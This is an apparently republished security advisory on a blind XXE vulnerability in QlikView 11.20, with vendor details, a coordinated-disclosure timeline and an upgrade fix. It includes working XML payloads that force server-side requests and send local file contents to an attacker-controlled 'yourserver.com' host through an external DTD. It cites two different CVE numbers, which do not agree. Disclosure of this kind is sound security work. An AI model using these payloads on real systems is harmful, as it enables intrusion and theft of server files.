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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

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Exploit Title: Qlikview blind XXE security vulnerability
Product: Qlikview
Vulnerable Versions: v11.20 SR11 and previous versions
Tested Version: v11.20 SR4
Advisory Publication: 08/09/2015
Latest Update: 08/09/2015
Vulnerability Type: Improper Restriction of XML External Entity Reference [CWE-611]
CVE Reference: CVE-2015-3623
Credit: Alex Haynes

Advisory Details:


(1) Vendor & Product Description
--------------------------------

Vendor: QLIK

Product & Version:
QlikView v11.20 SR4

Vendor URL & Download:
http://www.qlik.com/us/explore/products/qlikview

Product Description:
"The QlikView Business Discovery platform delivers true self-service BI that empowers business users by driving innovative decision-making."


(2) Vulnerability Details:
--------------------------
The Qlikview platform is vulnerable to XML External Entity (XXE) vulnerabilities. More specifically, the platform
is susceptible to DTD parameter injections, which are also "blind" as the server feeds back no visual response. These vulnerabilities can be exploited
to force Server Side Request Forgeries (SSRF)in multiple protocols, as well as reading and extracting arbitrary files on the server directly.

Proof of concept for XXE [CVE-2015-5361]:
-----------------------------------------
URL: https://<QLIKVIEW>/AccessPoint.aspx

Attack Pattern for SSRF: 
------------------------
In POST body:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE update [
<!ENTITY % external SYSTEM "http://yourserver.com">
%external;]>

OR simply 
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE roottag PUBLIC "-//WHITE//NINJA//EN" "http://yourserver.com">

As this is a blind XXE, you will see no response from server, but yourserver.com will receive the HTTP request from the Qlikview server. Also works with FTP and HTTPS protocols.

Attack Pattern for reading and extracting arbitrary files: 
------------------------------------------
In POST body:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE roottag [
<!ENTITY % remote SYSTEM "file:///c:/windows/win.ini">
<!ENTITY % dtd SYSTEM "http://yourserver.com/test.dtd">
%dtd;
%send;
]]>

The test.dtd file on yourserver.com will need to contain the following:

Test.dtd
--------
<!ENTITY % all "<!ENTITY &#x25; send SYSTEM 'http://yourserver.com/?%remote;'>">
%all;

As the response is blind, you will see no response from the server, but yourserver.com will receive the file contents as part of the URL in lieu of the %remote parameter.


(3) Advisory Timeline:
----------------------
29/04/2015 - First Contact informing vendor of vulnerability
30/04/2015 - Response requesting details of vulnerability. Details sent
05/05/2015 - Vendor indicates issue is under investigation.
06/05/2015 - Vendor confirms vulnerability and has started working on resolving the issue.
20/05/2015 - Vendor confirms root cause has been identified and patch is under internal testing.
08/06/2015 - Vendor confirms patch ready and requests 90 day restraint on vulnerability release to give clients time to patch.
10/06/2015 - Patch 11.20 SR12 released, fixing the vulnerability
08/09/2015 - Public disclosure of vulnerability.


(4)Solution:
------------
Upgrade to QV11.20 SR12 will correct the vulnerability.


(5) Credits:
------------
Discovered by Alex Haynes

References:
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-3623
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2015-3623